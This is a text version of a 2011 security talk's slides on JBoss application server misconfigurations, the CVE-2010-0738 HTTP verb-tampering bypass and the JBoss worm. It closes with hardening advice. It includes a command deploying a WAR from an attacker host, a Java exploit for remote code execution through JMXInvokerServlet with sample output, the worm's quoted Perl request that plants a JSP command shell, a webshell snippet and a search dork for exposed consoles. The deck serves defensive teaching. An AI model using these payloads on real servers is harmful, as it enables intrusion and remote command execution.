From CVE-2010-0738 to the recent JBoss worm

luca@matasano.com
This presentation is an extended version of a talk delivered during the OWASP Bay Area Chapter Meeting (November 30, 2011)

Interested readers can:
- Understand common JBoss misconfigurations
- Learn how attackers can abuse an insecure JBoss
- Learn how to detect misconfigurations and secure your application server
- Briefly review the recent JBoss worm

In addition, the presentation introduces an improved exploitation technique against the JMXInvokerServlet (slides 31-37)
JBoss at first glance

- JBoss Application Server is an OpenSource Java Enterprise Edition Application Server
- It’s in Java and it actually implements Java EE specifications
- Java EE enhances the standard edition in order to deploy distributed, fault-tolerant and complex multi-tier software
- Core engine is (now) Apache Tomcat
- Developed by JBoss, now a division of Red Hat
- As you know, it is widely used in enterprises
Pentester’s first thought

Welcome to JBoss™

JBoss Online Resources
- JBoss 4.0 documentation
- JBoss Wiki
- JBoss forums

JBoss Management
- Tomcat status (full) (XML)
- JMX Console
- JBoss Web Console
intitle:“JBoss Management Console – Server Information” “application server” inurl:“web-console” OR inurl:“jmx-console”
A bunch of vulnerabilities, mainly in the underline JSP/Servlet core (Jetty or Tomcat)

According to OSVDB, 34 vulns with “JBoss” in the title (from 2003 to 2011). These also include not relevant bugs and minor issues

Misconfiguration is the first cause of insecurity

Insecure by default (JBoss AS 4.0, 5.1, early 6.x)

“There are no reasonable defaults in security to secure the shipped community version of JBoss AS”

### Free vs Commercial

<table>
<thead>
<tr>
<th>Feature</th>
<th>Community</th>
<th>Enterprise</th>
</tr>
</thead>
<tbody>
<tr>
<td>Open Source</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Benefits from testing by worldwide Community</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Recommended for Production Use</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Patch Update &amp; Service Pack Program</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Security Errata Program</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Automated Software Update &amp; Alert Service</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Defect &amp; Feature Escalation &amp; Prioritization Process</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Developer Support</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>24x7 Production Support &amp; Services</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Platform Certifications &amp; Training Certifications</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Defined Support SLA and End-of-Life Policy</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td><strong>Out-of-the-Box Configured for Enterprise Use</strong></td>
<td><strong>X</strong></td>
<td><strong>X</strong></td>
</tr>
<tr>
<td>Operations Management Tools</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Platform testing &amp; certification process</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Redistribution of modified JBoss technologies</td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Red Hat Open Source Assurance (Legal Protection)</td>
<td></td>
<td>X</td>
</tr>
</tbody>
</table>

http://www.europe.redhat.com/products/jboss/community-enterprise/
Hardening is hard
(1) Multiple interfaces

- Several adaptors and invokers

Hardening is hard
(2) Confusing acronyms

- MBEANS vs BEANS?
- JMX?
- JNDI?
- EJB?
- Hardening is usually done by a sysadmin. Note that these are mainly application terms

- Have fun with the Java Technology Concept Map
  http://java.sun.com/new2java/javamap/intro.html
Hardening is hard

(3) Differences between releases

- In term of:
  - security posture
  - configuration files location
  - available MBeans
  - ...

Let’s get technical

First, a quick reference guide for wannabe Java rockstars
A MBean is a managed Java object, similar to a JavaBean component, that follows the design patterns set forth in the JMX specification.

First, JavaBeans are reusable software components.

In a nutshell, a JavaBean is a Java Object that is serializable, has a nullary constructor, and allows access to properties using getter and setter methods.
Each MBean exposes “management operations”:
- A set of readable or/and writable attributes
- A set of invokable operations

MBeans have object names
- Instance of `javax.management.ObjectName`
  - `domain:key=property`
    - E.g. `com.example:type=Hello`

An ObjectName is a property value pattern if contains the * or ? characters
- E.g. `com.example:type=H*`
JMX stands for “Java Management Extensions”

In a nutshell, they are components for managing and monitoring devices, applications, and service-driven networks

Basically, SNMP in the Java world

JMX clients can have different interfaces

- Web-based (e.g. JBoss JMX-Console)
- Stand-alone (e.g. jconsole)
Infamous JMX-Console

Catalina
- type=Server
- type=StringCache

JMImplementation
- name=Default.service=LoaderRepository
- type=MBeanRegistry
- type=MBeanServerDelegate

jboss
- database=localDB.service=Hypersonic
- name=PropertyEditorManager.type=Service
- name=SystemProperties.type=Service
- readonly=true.service=invoke.service=Naming.type=http
- service=AttributePersistenceService
- service=ClientUserTransaction
- service=JNDIView
- service=KeyGeneratorFactory.type=HiLo
- service=KeyGeneratorFactory.type=UUID
- service=Mail
- service=Naming
- service=TransactionManager
- service=WebService
- service=XidFactory
- service=invoke.service=Naming.type=http
- service=invoke.service=http
- service=invoke.service=Jmtp
- service=invoke.service=local
- service=invoke.service=pooled
- service=proxyFactory.service=target=ClientUserTransaction
- service=proxyFactory.service=target=ClientUserTransactionFactory
jconsole

- $ jconsole
- Useful for analyzing memory usage, threads, loaded classes, garbage collector, MBeans
Java RMI (Remote Method Invocation) is the object-oriented equivalent of RPC.

JNDI (Java Naming and Directory Interface) is used by Java RMI and EE APIs for objects discovery.

An application programming interface that can be used to access a variety of naming and directory services.

Basically, an “easy” way to bind a name to an object, search that object over a network, ...
Adaptor VS Invoker

An important distinction:

Adaptor
- translates requests between a given protocol (e.g. HTTP, RMI) and a specific JMX functionality

Invoker
- invokes the proper MBean service based on the actual JMX request
- Basically, an “invocation object proxy”
Exploiting a misconfigured JBoss

- A two-steps process:
  1. Find an “open door”, among adaptors and invokers
  2. Invoke a useful MBean
Step 1 - “Doors” enumeration

- **HTTP/HTTPS Endpoints:**
  - /status
  - /jmx-console/HtmlAdaptor
  - /web-console/Invoker
  - /Invoker/JMXInvokerServlet

- **RMI Endpoint**
  - 4444/tcp (legacy 4.0.x invoker)

- They can be either **open, disabled** or **secured**
Step 2 - Invoke a “useful” MBean

- Although file read primitives and attributes getter/setter exist, the final goal is usually code execution

- org.jboss.console.manager.DeploymentFileRepository
  - DeploymentFileRepository
    - Upload of a JSP file with arbitrary content

- org.jboss.mx.modelMbean.XMBean
  - MainDeployer
    - Deploy a WAR from a remote location
Step 2 - Invoke a “useful” MBean

- org.jboss.varia.deployment.BeanShellSubDeployer
  - BSHDeployer
    - Execute Java Scripting language

- org.jboss.deployment.scanner.URLDeploymentDeploymentScanner
  - DeploymentScanner
    - Runtime deployment of remote WARs
Combining doors and MBeans

- Combining exposed and accessible endpoints, an attacker may be able to reach one of the listed MBeans
- Multiple combinations exist
  - A few examples are provided in the following slides
A systematic approach

Exploiting JBoss

/jmx-console exposed?

/jmx-console unauthenticated?

JBoss < 4.2 CP09, 4.3 CP08, 5.0.1

Abuse CVE-2010-0738
(HTTP Verb Tampering)

Port 4444/top RMI available?

/web-console/invoker exposed and unauthenticated?

Access Through JMX-Console

Access MBean over RMI

“Access Through JMX-Console”

“Access MBean over RMI”

“Access Through Web Console JMX Invoker”

/invoke/JMXInvokerServlet reachable?

Finally, check /status?full=true

“Access Through JMXInvokerServlet”

“Access Through Web Console JMX Invoker”
**/status?full=true**

### http-0.0.0.0-8080

Max threads: 250 Min spare threads: 4 Max spare threads: 50 Current thread count: 5 Current thread busy: 3
Max processing time: 203 ms Processing time: 6 s Request count: 39190 Error count: 12368 Bytes received: 0.00 MB Bytes sent: 48.53 MB

<table>
<thead>
<tr>
<th>Stage</th>
<th>Time</th>
<th>B Sent</th>
<th>B Recv</th>
<th>Client</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>K</td>
<td>433 ms</td>
<td>?</td>
<td>?</td>
<td>127.0.1.1</td>
<td>?</td>
<td>ubuntu GET /status HTTP/1.1</td>
</tr>
<tr>
<td>S</td>
<td>0 ms</td>
<td>0 KB</td>
<td>0 KB</td>
<td>127.0.1.1</td>
<td>?</td>
<td>?</td>
</tr>
</tbody>
</table>

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

### jk-8009

Max threads: 200 Min spare threads: 4 Max spare threads: 50 Current thread count: 4 Current thread busy: 1
Max processing time: 0 ms Processing time: 0 s Request count: 0 Error count: 0 Bytes received: 0.00 MB Bytes sent: 0.00 MB

<table>
<thead>
<tr>
<th>Stage</th>
<th>Time</th>
<th>B Sent</th>
<th>B Recv</th>
<th>Client</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
</table>

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

---

- Information disclosure only
- Yet another reason why GET parameters should not contain sensitive information
Trivial JMX-Console abuse featuring:

- `/jmx-console/HtmlAdaptor` as “the door”
- `DeploymentFileRepository` as “the MBean”
Starting from JBoss 5.1, it is possible to change the "BaseDir" MBean attribute and set it to a convenient location as the “../” won’t work anymore
This is actually an Applet Java /web-console/applet.jar
The Web Console uses a mix of HTML pages and an Applet Java to show MBeans properties. JMX functionalities are exposed through “/invoker”, a fully-fledged JMX Invoker

A webconsole invoker client can be found here: http://www.redteam-pentesting.de/files/redteam-jboss.tar.gz (webconsole_invoker.rb)

The entire exploitation technique is clearly described within RedTeam’s paper http://www.redteam-pentesting.de/en/publications/-publications-talks-and-papers
Although it is usually irrelevant for Internet-facing application servers, MBean can be accessed over RMI as well
  • RMI 4444/tcp, JNDI 1098/tcp and 1099/tcp

A JBoss RMI client is included in the application server package
  • ./bin/twiddle.sh

Executing commands is as easy as
  • ./twiddle.sh -s <HOST> invoke jboss.system:service=MainDeployer deploy http://<ATTACKER>/mtso.war
As mentioned, JBoss exposes functional interfaces via arbitrary protocols
- Adaptor VS Invoker

The “HttpAdaptor” is disabled by default

However, its “JMXInvokerServlet” invoker is enabled (version 4.x, 5.x and early 6.x)

The invoker service acts as a transport gateway that accepts invocation objects
- “MarshalledInvocation”, an internal JBoss object
Previously published exploitation techniques rely on generating a valid HTTP request containing a serialized MarshalledInvocation object

1. Enable the “HttpAdapter” on a testing deployment
2. Generate a valid HTTP request using an http invoker
3. Dump the network traffic and capture a valid JMXInvokerServlet request (containing an instance of MarshalledInvocation)
4. Reply the raw request against the actual target

A valid JMXInvokerServlet request is actually easy to generate from scratch

- Implementation details and exploitation limitations are discussed
- Also, code snapshot of a working exploit is hereby included
“org.jboss.invocation.MarshalledInvocation” is a serializable Java object containing the specific MBean invocation
- object’s name (identified by a unique hash)
- method’s name
- method’s arguments

It extends “org.jboss.invocation.Invocation”
- http://docs.jboss.org/jbossas/javadoc/4.0.2/org/jboss/invocation/MarshalledInvocation.java.html

This class is included within “jboss.jar”
InvokerServlet class

- "org.jboss.invocation.http.servlet.InvokerServlet" implements the receiving servlet
  - accepts HTTP POST requests containing a MarshalledInvocation
  - deserializes the invocation object
  - routes the invocation via JMX to the MBean whose object name hash is specified by the invocation.getObjectname()

- It extends "javax.servlet.http.HttpServlet"
- The "hash function" is derived from RMI
// Create a malicious Java serialized object
MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));

// Executes the MBean invoke operation
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object);
payload.setMethod(method);

// Define MBean's name, operation and parameters
Object myObj[] = new Object[4];
// MBean object name
myObj[0] = new ObjectName( "jboss.deployer:service=BSHDeployer" );
// Operation name
myObj[1] = new String("createScriptDeployment");
// Actual parameters
myObj[2] = new String[] { "Runtime.getRuntime().exec(\" + cmd + \\")","Script Name"};
// Operation signature
payload.setArguments(myObj);

---

E.g.
jboss.jmx:name=Invoker --> 647347722 // Weaponized against JBoss 4.0.3SP1

1kki@ubuntu:/src/Research/JBoss/JMXInvoker$ java -cp ../libs/jboss.jar:/lib/jbossl-all-client.jar JMXInvoker
--[ JBoss JMXInvokerServlet Remote Command Execution ]
--[*] MarshalledInvocation object created
--[*] MarshalledInvocation object serialized
--[*] Sending payload...
--[*] "touch /tmp/execetest" successfully executed
Q: Is my server vulnerable?
A: First, does your server expose
"http://<target>:8080/invoker/JMXInvokerServlet"?

Q: Well, yes...Is it affected?
A: An attacker can probably invoke registered MBeans

Q: In practice, what does it mean?
A: If "jboss.jmx:name=Invoker" or similar are registered in the local JNDI registry, MBeans invocation is possible. In other words, remote code execution (see slides #21 and #22)
Q: Are exploits version-dependent?
A: As mentioned, an hash value (Integer) is internally used to differentiate between object names. At least comparing major releases (e.g. 4.x and 5.x), these values are different.

Q: Would it be possible to create a worm able to exploit this misconfiguration?
A: Yes. However, a reliable exploit would require extensive testing of different JBoss releases. Worm writers tend to choose reliable and easy-to-exploit flaws. Speaking of which, let me introduce CVE-2010-0738.
JBoss EAP JMX-Console authentication bypass with crafted HTTP request

- March, 2011 - Minded Security disclosed the bug to the Red Hat Security Response Team

“By using a specially crafted HTTP request, the authentication of the jmx-console can be bypassed, as the access restrictions only apply for GET and POST”

A perfect example of HTTP Verb tampering

Vulnerable version

```xml
<security-constraint>
  <web-resource-collection>
    <web-resource-name>HtmlAdaptor</web-resource-name>
    <description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application</description>
    <url-pattern>/*</url-pattern>
    <http-method>GET</http-method>
    <http-method>POST</http-method>
  </web-resource-collection>
  <auth-constraint>
    <role-name>JBossAdmin</role-name>
  </auth-constraint>
</security-constraint>
```
Linda.pl

$zecmd = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName& name=jboss.admin%3Aservice
%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%3d%22%6a%61%76%61%2e%75%69%6c%2e%2c%6a%61%76%61%2e%73%63%68%69%6c%6c%73%2e%6a%70%77%6e%6f%6e%69%6e%67%75%6c%6c%73%2e%74%6f%20%61%73%74%6f%72%69%6e%67%75%6c%6c%73%2e%6e%75%69%63%68%69%6c%6c%61%74%69%6f%6e%73%73%2e%74%6f%20%74%61%73%6b%65%79%20%62%61%74%65%77%72%61%6c%6e%65%73%20%62%79%74%65%20%74%68%65%20%6d%65%64%69%66%69%63%6c%73%73%20%74%61%73%6b%65%79%20%68%74%74%70%73%2e%6a%70%77%6e%6f%6e%69%6e%67%75%6c%6c%73%2e%6e%75%69%63%68%69%6c%6c%61%74%69%6f%6e%73%73%2e%6d%65%64%69%66%69%63%6c%73%74%61%73%6b%65%79%20%63%6f%6d%6d%65%6e%74%20%62%79%74%65%20%74%68%65%20%6d%65%64%69%66%69%63%6c%73%74%61%73%6b%65%79%20%66%6f%72%20%62%61%74%65%77%72%61%6c%69%6e%74%73%2e%74%6f%20%62%61%74%65%72%72%6f%6c%65%73%20%74%68%69%70%6c%69%63%61%74%69%6f%6e%73%2e%6d%65%64%69%66%69%63%6c%73%74%61%73%6b%65%79%20%74%6f%20%69%6d%70%6f%72%3d%22%6a%61%76%61%2e%75%69%6c%2e%2c%6a%61%76%61%2e{PAYLOAD}"
Payload

- **A simple command shell**
  - `<% {...} 
  Process p = Runtime.getRuntime().exec(request.getParameter("comment")); 
  {..} %>`

- **A simple HTTP GET Request**
  - `/zecmd/zecmd.jsp?comment=netstat+-nl`
The worm affects unpatched and unsecured servers running JBoss-based products
- JBoss Application Server (AS) 4.0.x
- JBoss Enterprise Web Platform (EWP) 5.0
- ...

Timeline:
- April 2010 - CVE-2010-0738 was patched
- 20 October 2011 – Initial infections and RH official statement

Even today, numerous compromised JBoss are online. A raw estimation using Google dorks suggests ~2000 installations still online
- Just considering installations having Tomcat Status open (thus indexed by Google). The real figure is indeed higher.
JBoss worm characteristics

Besides the actual exploit, the propagation code includes:

- A multi-threaded port scanner (pnscc)
- An IRC-like client so that the compromised host can join a botnet

For further insights, please refer to the detailed analysis done by @guerilla7 and Eric Romang

JBoss defense 1/2

Keep your software up-to-date

If not necessary, remove all consoles and invokers
  - $ rm jmx-console.war
  - $ rm web-console.war
  - $ rm http-invoker.sar
  - $ rm jmx-invoker-adaptor-server.sar
  - $ rm admin-console.war
  - ....

Otherwise, secure them using standard J2EE role based security. Several guides online.
  - Do not forget the JMXInvokerServlet!
JBoss defense 2/2

Also, do not forget to disable the JBoss status page (/status)
- Edit web.xml in "\deploy\ROOT.war\WEB-INF"
- Comment with <!-- and --> the servlet definition

Disable unnecessary services
- AJP connector (e.g. 8009/tcp)

Make sure that your JBoss installation is running as unprivileged user and the Java Security Manager is enforced
Online Resources (random order)

- http://community.jboss.org/wiki/SecureJBoss